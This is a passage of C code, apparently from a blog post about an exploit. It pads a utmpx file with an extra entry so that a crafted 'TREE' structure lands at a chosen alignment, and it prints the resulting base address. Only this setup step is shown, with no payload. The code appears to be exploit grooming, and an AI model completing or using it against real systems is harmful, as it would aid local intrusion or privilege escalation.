room to work with /**/ else { fprintf(stderr, "WTF?!?!?!"); exit(9); } } else { int newsize=0; fprintf (stderr, "Adding pre-entry for 8-byte alignment of TREE structure\n"); add_pre_entry(); sleep(1); // VERIFYING ENTRY SIZE newsize = stat_utmpx(&gstatbuf); assert ( (newsize == (gsizeof_utmpx_file + UTMPX_ENTRY_SIZE)) && ((newsize % 8) == 4) ); TREE_base_addr = newsize; } //add_pre_entry(); // NOW update the TREE_base_addr to reflect new entry fprintf (stderr, "TREE_base_addr = 0x%x\n", TREE_base_addr); assert ((TREE_base_addr % 8) == 4); }
Leave a Reply